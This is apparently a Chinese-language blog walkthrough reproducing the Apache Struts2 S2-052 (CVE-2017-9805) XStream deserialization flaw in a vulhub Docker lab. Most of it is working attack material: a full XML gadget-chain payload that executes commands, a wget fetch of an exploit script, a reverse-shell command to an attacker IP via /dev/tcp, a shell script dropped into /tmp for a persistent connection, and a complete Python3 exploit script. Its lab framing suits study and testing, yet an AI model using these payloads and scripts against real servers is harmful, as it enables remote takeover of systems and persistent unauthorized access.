影响范围:

  • Struts 2.1.2 - 2.3.33

  • Struts 2.5 - 2.5.12

漏洞类型:

XML反序列化

操作系统限制:

配置要求:

默认配置

漏洞利用:

写入敏感文件,反弹shell获取服务器权限

利用原理:

Struts2框架对外部组件XStream插件默认使用XStream处理XML格式数据,可以将几乎任何XML标签映射为Java对象,攻击者在Java运行库寻找可以执行系统命令的类,由于XStream没有限制,攻击者可以构造特殊的XML,包含触发点、执行链、敏感命令

漏洞复现:

用现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-052
#拉取镜像
docker-compose up -d

访问http://公网:8080/orders

用burpsuite抓取http://公网:8080/orders/3/edit数据包

发送到Repeater模块

注入恶意XML代码,修改请求头,然后发送

#请求头改Content-Type: application/xml
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/ailx10</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

返回500,说明xml代码成功发送到服务器

进入容器内部查看tmp文件夹下的文件,发现能成功写入文件ailx10,说明xml恶意代码被执行

攻击机开启监听

wget下载攻击脚本,python3直接写入下面的兼容代码

#从gitub拉取脚本,脚本用python2运行
wget https://raw.githubusercontent.com/chrisjd20/cve-2017-9805.py/master/cve-2017-9805.py

运行脚本,这里环境是python3,即用python3演示,参数是一样的

python3 cve-2017-9805_py3.py -u http://靶机ip:8080/orders/3 -c "bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1"

虽然能连上,但是不稳定

可以写入sh脚本进靶机,再连接

#写入sh脚本
printf 'bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1' > /tmp/shell.sh
#给sh脚本赋权,可执行
chmod +x /tmp/shell.sh
#运行反弹shell脚本
/bin/bash /tmp/shell.sh

成功建立持久化连接

攻击脚本(https://github.com/chrisjd20/cve-2017-9805.py/blob/master/cve-2017-9805.py

#python3兼容脚本,cve-2017-9805.py
#!/usr/bin/env python3
import requests
import argparse
import base64
import sys
import random
import re
from xml.dom.minidom import parseString
​
# Lambda function for creating random string
random_string = lambda num: ''.join(random.choice("QWERTYUIOPASDFGHJKLXZCVBNMqwertyuiopasdfghjklzxcvbnm1234567890") for _ in range(num))
​
# iterates over the elements in the template XML object and replaces with desired commands
def get_item_list(itemlist, encoded_command, the_match):
    for item in itemlist:
        for item2 in item.childNodes:
            if item2.nodeValue == the_match:
                item2.nodeValue = encoded_command
​
def main(url, command):
    filename = "." + random_string(20) + '.tmp'
    print('[+] Encoding Command')
    
    # Python 3 base64 logic: encode string to bytes, then b64encode, then back to string
    b64_command = base64.b64encode(command.encode('utf-8')).decode('utf-8')
    
    # Construct the shell command that will be placed inside XML
    # Using tee -a to write the decoded command to a file, then execute it
    encoded_command = f'echo {b64_command} | base64 -d | tee -a /tmp/{filename} ; /bin/bash /tmp/{filename} ; /bin/rm /tmp/{filename}'
    
    print('[+] Building XML object')
    # The XML payload (ImageIO exploit chain)
    payload_xml = (
        '<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags>'
        '<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">'
        '<dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">'
        '<is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher">'
        '<initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator">'
        '<iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/>'
        '<next class="java.lang.ProcessBuilder"><command><string>/bin/bash</string><string>-c</string>'
        '<string>COMMANDWILLGOHERE</string></command><redirectErrorStream>false</redirectErrorStream></next></iter>'
        '<filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class>'
        '<name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next>'
        '</serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/>'
        '<ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is>'
        '<consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value>'
        '</jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>'
        '</entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>'
        '<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>'
    )
    
    xml_exploit = parseString(payload_xml)
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
        'Content-Type': 'application/xml'
    }
    
    itemlist = xml_exploit.getElementsByTagName('string')
    print('[+] Placing command in XML object')
    get_item_list(itemlist, encoded_command, "COMMANDWILLGOHERE")
    
    print('[+] Converting Back to String')
    # Convert back to bytes for the request
    exploit_data = xml_exploit.toxml(encoding='utf-8')
    
    print('[+] Making Post Request with our payload')
    try:
        response = requests.post(url, data=exploit_data, headers=header, timeout=15)
        print(f'[+] Server returned status code: {response.status_code}')
        print('[+] Payload sent.')
    except Exception as e:
        print(f'[-] Error: {e}')
​
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2017-9805 Struts RCE Exploit")
    parser.add_argument('-u', '--url', type=str, required=True, help='Target URL (e.g. http://ip:8080/orders/3)')
    parser.add_argument('-c', '--command', type=str, required=True, help='Command to execute')
    
    args = parser.parse_args()
    main(args.url, args.command)


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Struts2
喜欢就支持一下吧